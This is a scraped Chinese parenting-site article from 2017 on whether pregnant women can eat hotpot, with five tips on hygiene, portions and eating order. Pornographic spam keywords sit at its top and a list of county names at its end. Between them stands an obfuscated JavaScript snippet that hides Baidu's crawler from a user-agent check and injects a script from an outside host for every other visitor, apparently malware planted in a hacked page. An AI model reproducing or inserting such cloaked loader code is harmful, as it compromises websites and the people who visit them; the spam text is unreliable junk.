亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 母嬰 > 懷孕知識 > 正文

孕婦可否吃火鍋呢

2017-05-05 09:03:03  來源:360常識網(wǎng)   熱度:
導語:火鍋做為一種食物的烹調(diào)方式,受到了大家的歡迎,而朋友聚會時吃個火鍋能慢慢吃,還不用擔心菜會冷,因此,吃火鍋人的是越來越多了,而這里

火鍋做為一種食物的烹調(diào)方式,受到了大家的歡迎,而朋友聚會時吃個火鍋能慢慢吃,還不用擔心菜會冷,因此,吃火鍋人的是越來越多了,而這里面怎么少得了嘴饞的孕婦了,但對于孕婦可否吃火鍋這個問題,卻一直得不到肯定的答案,是能吃還是不能吃了,會不會對寶寶有影響了,下面就來說一這個問題。

為了使胎兒健康發(fā)育,孕婦不宜吃火鍋,偶爾食用時,一定要將肉片燒熟煮透。 但這并不是說孕媽們絕對不能吃火鍋,但吃的時候要注意以下問題:

1、火鍋太遠勿強伸手

假如火鍋的位置距自己太遠,不要勉強伸手灼食物,以免加重腰背壓力,導致腰背疲倦及酸痛,最好請丈夫或朋友代勞。

2、加雙筷子免沾菌

準媽媽應盡量避免用同一雙筷子取生食物及進食,這樣容易將生食上沾染的細菌帶進肚里,而造成瀉肚及其他疾病。

3、自家火鍋最衛(wèi)生

準媽媽喜愛吃火鍋,最好自己在家準備,除湯底及材料應自己安排外,食物衛(wèi)生也是最重要的。切記,無論在酒樓或在家吃火鍋時,任何食物一定要灼至熟 透,才可進食。

4、降低食量助消化

懷孕期間可能會出現(xiàn)嘔吐反胃現(xiàn)象,因此胃部的消化能力自然降低。吃火鍋時,準媽媽若胃口不佳,應減慢進食速度及減少進食分量,以免食后消化不了, 引致不適。

5、吃火鍋還必須講順序

涮火鍋的順序很有講究,最好吃前先喝小半杯新鮮果汁,接著吃蔬菜,然后是肉。這樣,才可以合理利用食物的營養(yǎng),減少胃腸負擔,達到健康飲食的目的。

對于孕婦可否吃火鍋,上面給出了一個明確的答案,最好是不吃為最佳,也不是說絕對不能吃,偶爾吃的時候最好還要注意方法,可以在自己家做,這樣衛(wèi)生有保障,而且肉類要煮熟,多吃點蔬菜,不要吃火鍋湯,不要用自己的筷子沾生食。

轉載申明:360常識網(wǎng),歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
双鸭山市| 饶阳县| 从江县| 泸州市| 柘城县| 沅江市| 桐城市| 正蓝旗| 浮梁县| 桦甸市| 桑植县| 临沧市| 曲麻莱县| 个旧市| 习水县| 金阳县| 茌平县| 万全县| 道真| 高邑县| 常德市| 淳安县| 秦安县| 金坛市| 中山市| 嘉峪关市| 章丘市| 吴忠市| 旅游| 万安县| 诸暨市| 卢氏县| 阆中市| 清水县| 石泉县| 卢湾区| 利津县| 商河县| 定远县| 阿克陶县| 金乡县|